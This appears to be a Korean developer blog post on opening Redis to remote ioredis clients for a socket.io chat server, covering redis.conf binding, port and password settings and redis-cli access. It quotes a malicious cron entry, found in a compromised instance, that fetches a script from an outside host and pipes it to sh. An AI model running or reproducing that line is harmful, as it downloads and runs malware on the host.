socket io를 사용한 채팅서버 개발중에 local과 server에서의 db를 통합시키기 위해서,
ioredis로 외부 접속을 하기 위한 방법에 대해 정리하기 위하여, 포스팅을 한다.
먼저 로컬에서 Redis 인스턴스를 선언하는 부분이다.
const Redis = require("ioredis");
const redisClient = new Redis({
host: 'Domain or IP',
port: port,
});
module.exports = redisClient;
host 부분에 도메인 혹은 IP를 입력하고
port 부분에 열린 port를 넣어주면 된다.
그리고 Redis의 config도 바꿔주어야 한다.
/etc/redis/redis.conf 파일을 수정해준다.
#bind 127.0.0.1 :: 1
bind 0.0.0.0
#port 6379
port ????
# ????대신에 custom port를 지정하세요
# requirepass password (auth 처리)
requirepass password
파일을 수정하고 나면, service를 restart 해준다.
$ sudo service redis-server restart
* port를 Redis 기본 포트인 6379를 열게 되면, 봇들에 의해서, 해킹이 되는 것 같다.
기존에 생성한 데이터가 없어지고, redis의 key가 backup1, backup2 ... 하고 만들어지면,
127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"
이런식의 경우가 생긴다.
따라서 보안조치를 더욱 철저히 해야함을 느낀다.
계정 설정이나, 방화벽 설정을 잘 해야할 것 같다.
외부에서 redis-cli로 접근하기 위해서는 아래 명령어로 접근하면 된다.
redis-cli
-h : host ip address
-p : port number
-a : password
redis-cli -h 127.0.0.1 -p 6379 -a mysupersecretpassword
redis-cli에서 암호가 설정되어 있는 경우
암호가 설정이 되어있는경우 Error가 발생되며 인증이 필요하다고 알려준다.((error) NOAUTH Authentication required.)
127.0.0.1:6379 > auth password
를 통해 들어가면 된다.
출처: https://info-lab.tistory.com/92 [:: IT School ::]
'서비스개발(Web, App) > Back-End' 카테고리의 다른 글
Nest JS 프레임워크 공부하기 (Node.js) - 2 (0) | 2022.01.03 |
---|---|
Nest JS 프레임워크 공부하기 (Node.js) - 1 (0) | 2022.01.02 |
Nest JS 프레임워크 공부하기 (Node.js) - 0 (0) | 2022.01.02 |
socket.io에서 사용되는 Redis (Pub/Sub 구조) (0) | 2021.08.09 |
Redis란?? (Redis 정의 및 설명) (0) | 2021.08.09 |